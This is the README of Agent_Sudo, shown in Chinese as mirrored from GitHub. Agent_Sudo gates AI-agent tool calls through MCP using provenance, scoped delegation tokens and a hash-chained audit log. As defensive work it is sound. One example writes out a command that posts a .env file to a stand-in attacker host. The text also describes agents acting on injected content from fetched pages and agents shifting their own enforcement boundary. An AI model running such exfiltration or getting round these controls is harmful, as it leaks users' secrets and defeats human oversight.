Kisyntra/Agent_Sudo

GitHub: Kisyntra/Agent_Sudo

Agent_Sudo 是面向 AI agent 的授权、委派、溯源和可验证审计引擎,通过 MCP 适配器为 agent 操作提供有界权限和防篡改审计日志。

Stars: 6 | Forks: 3

# Agent_Sudo

Agent_Sudo logo

License PyPI version MCP adapter: published

**赋予 AI agent 有界的权限 —— 而不是不受限制的访问。** Agent_Sudo 是一个**针对 AI agent 的授权、委派、溯源和可验证审计引擎**。AI agent 应当能够自主行动——但不能没有限制,也不能没有记录。Agent_Sudo 让你能够定义一个 agent *被授权* 做什么,*委派* 会自动过期的狭窄权限,根据其背后指令的*来源* 决定每一次行动,并保留一份事后可供验证的防篡改*审计* 轨迹。 目前它通过 Model Context Protocol (MCP) 在本地运行——这是首个可用于生产环境的适配器,也是推荐的安装方式。**MCP 是你连接它的方式,而不是它的本质。** ## 这难道不是又一个审批层吗? 不——这正是关键所在。Claude Code、Cursor 和 Codex 已经会问*“你批准这个操作吗?”* Agent_Sudo 回答的是不同的问题: - **授权** —— 在*没有*人工干预的情况下,允许这个 agent 做什么? - **委派** —— 你如何授予会自行撤销的狭窄权限(此路径,2小时,10次使用)? - **溯源** —— 当一个操作可追溯至*不受信任的*内容(获取的网页、工具结果)时,是否能因为其*来源* 而被捕获——而不是因为它的措辞? - **可验证审计** —— 事后,你能否证明 agent 做了什么,以及日志没有被编辑过? 批准提示是该边界内的一个执行步骤。它们本身并不是这款产品。 ## 适用人群 - **本地 AI 高级用户** —— [Claude Code](docs/integrations/mcp_server_setup.md#claude-code)、[Codex CLI](docs/integrations/mcp_server_setup.md#codex-cli)、Aider 以及其他基于 MCP 的 agent。保护机密,防止破坏性操作,执行信任边界,并保留可问责的记录。 - **Agent 运行时和平台** —— 嵌入授权、作用域委派、基于溯源的决策和可验证审计,而不是自己从头构建。MCP 是目前成熟的适配器;其他运行时集成也存在,但处于更早期阶段(参见[生态](#ecosystem))。 ## 独特之处 - **基于溯源的执行** —— 决策取决于指令的*来源*,因此由不受信任内容驱动的工具调用会因其来源而被升级或拒绝。(这是来源追踪,*不是* prompt 注入文本检测器。) - **作用域内、自动过期的委派** —— 临时的、资源受限的权限,而不是每次点击的二元允许/拒绝。 - **可验证的问责制** —— 每个决策都会写入由 SHA-256 哈希链保护的日志中,`agent-sudo verify-audit` 可以检查其是否被篡改。 - **授权边界** —— 一次性设置允许的范围;agent 在边界内自主运行。 ## 在 ~60 秒内看出差异 ![Agent_Sudo 基于溯源的拦截演示](https://static.pigsec.cn/wp-content/uploads/repos/cas/a7/a7364b9f5fd43ad5892bead628debaa757d2aca9617041dd213a09594f8df2fa.gif) 该演示位于代码库中(它不是 PyPI 包的一部分),因此请先克隆: ``` git clone https://github.com/Kisyntra/Agent_Sudo cd Agent_Sudo/examples/exfil_demo && python demo.py ``` 演示过程和预期输出:[`examples/exfil_demo/`](examples/exfil_demo/)。 ## 在 5 分钟内评估 Agent_Sudo **一次安装,一条命令** —— 在一个一次性的临时目录中运行整个边界流程(拦截 -> 委派 -> 允许一次 -> 拒绝 -> 审计验证): ``` pipx install agent-sudo-mcp && agent-sudo eval ```
没有 pipx?其他安装方式 —— 相同的包,任选其一 ``` # 选项 A — pipx(推荐):隔离工具并将 `agent-sudo` 添加到您的全局 PATH pipx install agent-sudo-mcp # 选项 B — pip + virtualenv:安装到您激活的项目本地环境中 python3 -m venv venv && source venv/bin/activate pip install agent-sudo-mcp ``` 两者都安装**相同的** PyPI 包,并提供相同的两个命令: - **`agent-sudo`** —— *你* 运行的 CLI(`eval`、`audit`、`delegate`、`setup` 等)。 - **`agent-sudo-mcp`** —— 你的 AI 客户端为你启动的服务器。你永远不需要手动运行它;`agent-sudo setup` 会将其接入你的客户端(参见 [MCP 适配器设置](#mcp-adapter-setup))。
你应该会看到: ``` Agent_Sudo Evaluation [1/5] Blocked unsafe request ........ PASS [2/5] Created delegation ............ PASS [3/5] Delegated request allowed ..... PASS [4/5] Token exhausted, denied again . PASS [5/5] Audit chain verified .......... PASS Result: PASS Audit log: /tmp/agent-sudo-eval-.../audit.jsonl Next: agent-sudo audit list /tmp/agent-sudo-eval-.../audit.jsonl ``` `agent-sudo eval` 完全在一个临时目录中运行(不会更改你的 `~/.agent-sudo` 状态),它会打印出审计日志所在的位置,并在任何步骤失败时以非零状态退出。有关逐步操作指南,请参阅 **[在 5 分钟内评估 Agent_Sudo](docs/evaluate_5_minutes.md)**。 ### 你将验证的内容 - 默认情况下,通过 Agent_Sudo 引擎的关键 shell 请求不会被执行。 - 一次性委派只允许恰好一个匹配的请求。 - 委派消耗完后,相同的请求将被拒绝。 - 决策将被写入能够干净利落地验证的哈希链审计日志中(`agent-sudo verify-audit`)。 ## MCP 适配器设置 MCP 是 Agent_Sudo 连接到你的 agent 的方式——**这是接线,而不是另一次安装。** 你已经在上一步中安装了该包;在这里 `agent-sudo setup` 会将 `agent-sudo-mcp` 服务器插入到你的 AI 客户端中,然后客户端会自动为你启动它。 确认安装并定位你的客户端将运行的服务器二进制文件: ``` agent-sudo --version which agent-sudo-mcp ``` **新手路径 —— 只需运行 `agent-sudo setup`** 并从菜单中选择你的客户端;它会打印出正确的、可粘贴的配置: ``` agent-sudo setup # 1. Claude Code # 2. Codex CLI # 3. Claude Desktop # 4. Hermes # 5. OpenClaw ``` **高级/脚本化路径 —— 直接指定目标名称**(无提示,对 CI 友好): | Client | 一步设置 | 指南 | | :--- | :--- | :--- | | **Claude Code** | `agent-sudo setup claude-code` 打印 `claude mcp add …` 命令 | [Claude Code](docs/integrations/mcp_server_setup.md#claude-code) | | **Codex CLI** | `agent-sudo setup codex` 打印 `~/.codex/config.toml` 代码块 | [Codex CLI](docs/integrations/mcp_server_setup.md#codex-cli) | | **Claude Desktop** | `agent-sudo setup claude-desktop` 打印 `claude_desktop_config.json` 代码块 | [Claude Desktop](docs/integrations/claude_desktop_setup.md) | `agent-sudo setup ` 会为你解析出 `agent-sudo-mcp` 的绝对路径。(如果既没有指定客户端 *也没有* 终端——例如在 CI 中——`agent-sudo setup` 会列出目标并以非零状态退出,而不是提示输入。)交互式批准还需要运行 `agent-sudo init-approval`(参见[首次运行](docs/first_run.md));基于委派的评估则不需要。 ``` { "mcpServers": { "agent-sudo": { "command": "/ABS/PATH/TO/agent-sudo-mcp", "args": [ "--audit-log", "/ABS/HOME/.agent-sudo/mcp-audit.jsonl", "--delegations-file", "/ABS/HOME/.agent-sudo/delegations.json", "--pending-approvals-file", "/ABS/HOME/.agent-sudo/pending_approvals.json", "--workspace", "/ABS/PATH/TO/your/project", "--notify", "--open-approval-terminal" ] } } } ``` 请使用绝对路径:客户端会从你无法控制的目录启动服务器。**`--delegations-file` 是必需的** —— 如果没有它,服务器将在没有委派存储的情况下运行,并且 `agent-sudo delegate create` 的 token 会被静默忽略。`--notify` / `--open-approval-terminal` 仅限 macOS 使用(在其他平台上无效)。在 `args` 中,每个标志和值都必须是独立的字符串。 重启 Claude Desktop,要求它使用 Agent_Sudo 工具,然后验证该操作是否已通过引擎路由——传入你配置的 **相同** 审计日志路径: ``` agent-sudo audit list "$HOME/.agent-sudo/mcp-audit.jsonl" ``` ## 信任边界:什么受保护,什么不受保护 Agent_Sudo 只能看到 **通过其路由** 的工具调用。在依赖它之前,这是你需要理解的最重要的一点。 | ✅ 受保护 | ❌ 不受保护 | | :--- | :--- | | 通过 `agent-sudo` 适配器进行的工具调用(文件读/写、shell、网络)—— 经过门控、分类和记录 | 客户端 **自带的原生/内置工具**(例如 Claude Desktop 的内置文件或 Web 工具),这些不经过 Agent_Sudo | | 任何禁用危险工具或显式通过引擎代理危险工具的运行时 | 你安装的 **其他 MCP 服务器**,它们直接向 agent 暴露文件系统/shell/网络 | | 意图级别的决策:溯源、审批门控、委派作用域、审计 | 操作系统级别的隔离(为此请使用 Docker/VM —— 参见[对比](docs/comparison/sandboxes.md)) | **如何确保你确实受到了保护:** 1. 通过 `agent-sudo` 适配器路由 agent 的高风险能力(参见 [Claude Desktop 设置指南](docs/integrations/claude_desktop_setup.md))。 2. 禁用或移除授予 agent 直接文件/shell/网络访问权限并绕过引擎的 **其他** 工具。 3. **使用审计日志进行验证。** 要求 agent 执行一项操作,然后运行 `agent-sudo audit list`。如果该操作被记录下来了,说明它经过了 Agent_Sudo。**如果它 *不在* 日志中,说明它绕过了 Agent_Sudo 且未受保护** —— 该能力仍然需要被禁用或通过引擎路由。 这是一个深思熟虑的范围选择,而不是缺陷:Agent_Sudo 为其调解的工具管理 *意图和授权*。将其与操作系统级别的隔离(Docker/Firecracker)结合使用,以实现环境隔离。 ### Agent_Sudo 保护和不保护的内容 **它是什么:** 一个具有人工审批门控、作用域委派和防篡改(哈希链)审计日志的策略和溯源引擎 —— 适用于通过其路由的工具调用。 **保护:** - **过度代理** —— 敏感/关键操作(shell、关键文件写入、外部发布)在运行前需要人工批准。 - **不受信任来源的操作** —— 来源为外部内容(例如获取的网页)的操作将根据 *指令的来源* 而非其措辞被升级或拒绝。 - **防篡改审计** —— 每个决策都会记录到一个由 SHA-256 哈希链保护的日志中,`agent-sudo verify-audit` 可以检查其事后的修改。 - **作用域委派** —— 临时的、资源受限的 token 授予会自动过期的狭窄访问权限。 **不保护:** - **绕过引擎的工具** —— 不通过 Agent_Sudo 路由的客户端原生工具或其他 MCP 服务器既不受门控也不受审计。 - **作为内容安全问题的 prompt 注入** —— Agent_Sudo **不能** 可靠地检测散文中的注入指令。内置的短语检测器是一个 **尽力而为的绊线**,它只会标记几个字面字符串;真正的保护是基于溯源的升级,而不是文本匹配。 - **操作系统级别的隔离** —— 它不是沙盒;将其与 Docker/Firecracker 结合使用以进行文件系统/进程隔离。 - **受损的本地环境** —— 任何拥有 **不受管辖的本地 shell** 的人(或任何 agent)都可以批准待处理的操作或直接编辑 Agent_Sudo 自己的控制平面文件。可以运行宿主机原生命令的 agent 可以更改工作区(`agent-sudo workspace set`)、委派或配置,从而 *移动* 执行边界而不是通过它路由。禁用或路由 agent 的原生 shell 以保持边界。工作区更改现在会作为 `workspace_changed` 事件记录在审计日志中,因此即使在引擎外部进行的更改,对于 `agent-sudo verify-audit` 也是可见的。 完整分析请参阅 [安全和威胁模型](docs/architecture/security_model.md)。 ## 如果我已经使用了 Docker,为什么还要用 Agent_Sudo? 安全工程师和开发人员经常问的一个问题是:*“如果我已经把我的 agent 隔离在 Docker 容器、gVisor 沙盒或 Firecracker microVM 中了,为什么还需要策略引擎?”* 区别在于关注点分离: * **Docker/Firecracker/沙盒** 回答:**“代码可以在哪里运行?”** 它们将进程与宿主操作系统隔离,防止 agent 逃逸到你的本地机器,但它们 *不会* 监控 agent 在沙盒内部做了什么。 * **Agent_Sudo** 回答:**“此操作是否已授权?”** 它在意图和应用逻辑层面运作,在执行前评估单个操作的上下文、溯源和授权规则。 ### 实际示例 即使在一个完美隔离的 Docker 容器内,拥有原始工具访问权限的 agent 也可以: 1. **窃取机密**:运行 `curl -X POST -d @.env https://attacker.example` 来泄露你的 API 密钥。VM 默认允许出站网络请求;Agent_Sudo 会检测来源信任度和目标,从而阻止数据渗漏。 2. **编写/注入代码**:编辑你项目的 `main.py` 以插入后门或恶意依赖。虽然 Docker 防止了对宿主机的污染,但它无法阻止 agent 破坏你的项目工作区。Agent_Sudo 会标记关键的文件编辑并要求人工确认。 3. **进行社会工程学攻击**:以 agent 所有者的名义,向外部用户发送包含钓鱼链接的自动电子邮件、Slack 消息或 Discord 警报。Agent_Sudo 基于用户批准对通信工具进行门控。 4. **超出委派作用域**:运行自动化构建流水线的 agent 可能会无意或恶意地调用超出其预期作用域的工具。Agent_Sudo 使用 **临时委派 token**,一旦达到配额或存活时间(TTL)到期,就会自动锁定该。 这两个层次是 **互补的**:使用 Docker/VM 沙盒来隔离环境资源,使用 Agent_Sudo 来验证工具执行意图。有关详细的技术分解,请参阅 [Agent_Sudo 与容器/VM 沙盒对比](docs/comparison/sandboxes.md)。 ## 核心能力 按照区分 Agent_Sudo 的要素进行排序,审批门控只是其中的一种执行机制。 - **基于溯源的执行**:根据其 *来源* 的信任度对每个操作进行分类。指令可追溯至不受信任的外部内容的操作将根据其 *来源* 被升级或拒绝,与措辞无关。这是 [60秒演示](#see-the-difference-in-60-seconds) 背后的保护机制——而不是一个 prompt 注入文本检测器。 - **作用域委派**:颁发临时的、资源受限的权限 token(例如,允许对 `/path/to/project` 进行 2 小时的读取访问,最多 10 次使用),这些 token 会自动过期——这是 agent 可以在无人监督的情况下使用、然后就会失去的狭窄权限。 - **授权和受保护的读取**:自动拦截针对私钥(如凭据)、配置文件夹和 shell 启动脚本等私有文件的读取操作,并在目标是可执行代码或配置时,将普通的文件写入升级为关键状态。 - **可验证的审计日志**:将所有工具尝试和引擎决策记录到由 SHA-256 哈希链保护的本地 JSONL 日志中,以检测篡改。使用 `agent-sudo audit list` 进行检查,或使用 `agent-sudo verify-audit` 验证完整性。 - **审批门控**:在敏感操作上提示交互式确认(CLI yes/no),并在关键操作(例如运行 shell 命令)上要求本地密码——这是边界内的一个人机交互步骤。 - **MCP 适配器**:实现 Model Context Protocol,以作为 stdio 服务器直接插入 Claude Desktop 和其他 MCP 客户端——这是连接引擎的首个可用于生产环境的方式。 ## 框架示例模板 Agent_Sudo 提供了预构建的示例模板,展示了主要 Python agent 框架的进程内集成。这些演示了直接嵌入引擎的方式,超越了 MCP 适配器的范畴: * ✓ **[OpenAI Agents SDK](examples/openai_agents_sdk/)** —— 预包装助手工具函数。 * ✓ **[PydanticAI](examples/pydantic_ai/)** —— **规范的端到端 dogfood**:一个真实的(确定性、离线的)agent 循环驱动引擎决策、真实的文件 I/O、作用域委派和经过验证的审计。 * ✓ **[LangGraph](docs/examples/langgraph.md)** —— 保护工具节点执行和图状态([examples/langgraph_integration.py](examples/langgraph_integration.py))。 * ✓ **[agent-runtimes](examples/agent_runtimes/)** —— 在 config 中注册本地工具钩子处理程序。 ## 更多演示 ### 内置策略演示 运行本地预演策略演示: ``` agent-sudo demo ``` 这对于快速查看策略决策非常有用。它不是主要的激活路径,因为它没有展示完整的“拒绝 -> 委派 -> 允许一次 -> 拒绝(耗尽)”循环。 在 [60秒演示](#see-the-difference-in-60-seconds) 和 [5分钟评估路径](#evaluate-agent_sudo-in-5-minutes) 成功运行后,完整的评估流程和更广泛的集成指南是参考资料。 ## 贡献者设置 如果你正在开发 `Agent_Sudo` 或将其与自定义运行时集成: ``` # Clone 仓库 git clone https://github.com/Kisyntra/Agent_Sudo.git cd Agent_Sudo # 以 editable mode 安装 python3 -m pip install -e . ``` 运行单元测试: ``` python3 -m unittest discover -s tests ``` # 生态系统 MCP 是目前可用于生产环境的适配器。其他运行时集成也处于不同的成熟度阶段——我们与 agent 运行时维护者和外部实施者合作,定义可移植的授权和审计模式。下面如实说明了成熟度;这尚未实现广泛的运行时采用。 * **可用于生产环境的适配器**: * **MCP** —— 作为 `io.github.Kisyntra/agent-sudo-mcp` 发布。[PyPI](https://pypi.org/project/agent-sudo-mcp/) • [官方 MCP 注册表](https://registry.modelcontextprotocol.io/v0/servers?search=agent-sudo-mcp) • [Glama 列表](https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo)。 * **已合并的集成**: * **[agent-runtimes](https://github.com/datalayer/agent-runtimes)** —— 本地插件钩子处理程序(`agent_sudo_local`),已在 PR #98 中合并。 * **进行中**: * **[LexFlow](https://github.com/VforVitorio/LexFlow)** —— 针对 JS/TS 原生客户端审计日志记录和验证的设计评审(#124)。 * **研究 / 本地 PoC**: * **[Hermes](https://github.com/NousResearch/hermes-agent)** —— 针对注册表级别的调度门控的实验性架构研究(#34992)。 有关完整的兼容性矩阵和集成详细信息,请参阅 [生态系统状态指南](docs/ecosystem/ecosystem_status.md)。 ## 文档目录 | 目录 / 章节 | 主题 | 关键文件 | | :--- | :--- | :--- | | **评估** | 首次激活路径 | [在 5 分钟内评估](docs/evaluate_5_minutes.md) • [首次运行参考](docs/first_run.md) | | **CLI 参考** | 每个命令、使用时机、常见错误 | [命令参考](docs/command_reference.md) | | **故障排除** | 诊断和解决步骤 | [docs/troubleshooting.md](docs/troubleshooting.md) | | **集成** | 连接到运行时和 IDE | [docs/integrations/overview.md](docs/integrations/overview.md) • [生态系统状态](docs/ecosystem/ecosystem_status.md) • [拓展手册](docs/ecosystem/outreach_playbook.md) • [采用仪表盘](docs/ecosystem/adoption_dashboard.md) • [可发现性说明](docs/ecosystem/discoverability_notes.md) • [LexFlow 准备情况](docs/ecosystem/lexflow_readiness.md) • [LexFlow 检查清单](docs/ecosystem/lexflow_compatibility_checklist.md) • [Claude Desktop](docs/integrations/claude_desktop_setup.md) • [MCP 设置](docs/integrations/mcp_server_setup.md) • [agent-runtimes](docs/integrations/agent-runtimes.md) • [Hermes (研究)](docs/integrations/hermes-research.md) | | **框架集成** | 针对 agent 框架的直接 SDK 门控 | [LangGraph 集成指南](docs/examples/langgraph.md) • [examples/langgraph_integration.py](examples/langgraph_integration.py) | | **架构** | 抽象和核心流水线 | [docs/architecture/overview.md](docs/architecture/overview.md) • [分层架构](docs/architecture/layered_architecture.md) • [执行模型](docs/architecture/enforcement_model.md) | | **规范** | 语言无关的模型 | [spec/runtime_compatibility_levels.md](spec/runtime_compatibility_levels.md) • [通用 Schema](spec/universal_schema.md) • [策略和审计](spec/policy_audit_schema.md) • [互操作性测试套件](docs/interop/interoperability_test_kit.md) | | **安全** | 威胁建模和限制 | [docs/architecture/security_model.md](docs/architecture/security_model.md) | | **对比** | 策略与容器沙盒 | [Docker 和 Firecracker 对比](docs/comparison/sandboxes.md) | ## CI/CD 和发布自动化 `Agent_Sudo` 使用 GitHub Actions 来自动化检查和分发: - **持续集成**:CI 工作流在针对 `main` 分支的所有推送和拉取请求上运行,执行单元测试套件,扫描个人路径泄露,执行 `git diff --check` 空白验证,并验证 Python 包编译。 - **自动化发布**:当推送匹配 `v*` 的 git 标签时,会自动生成发布。 - 发布候选标签(例如 `v0.4.0-rc12`)将作为 GitHub 预发布发布,并明确排除在标记为最新发布之外。 - 发布说明会自动从 `CHANGELOG.md` 中匹配的版本条目中解析和提取。
标签:AI智能体, Blue Team, MCP协议, 审计溯源, 权限委托, 身份与访问控制, 逆向工具, 零信任架构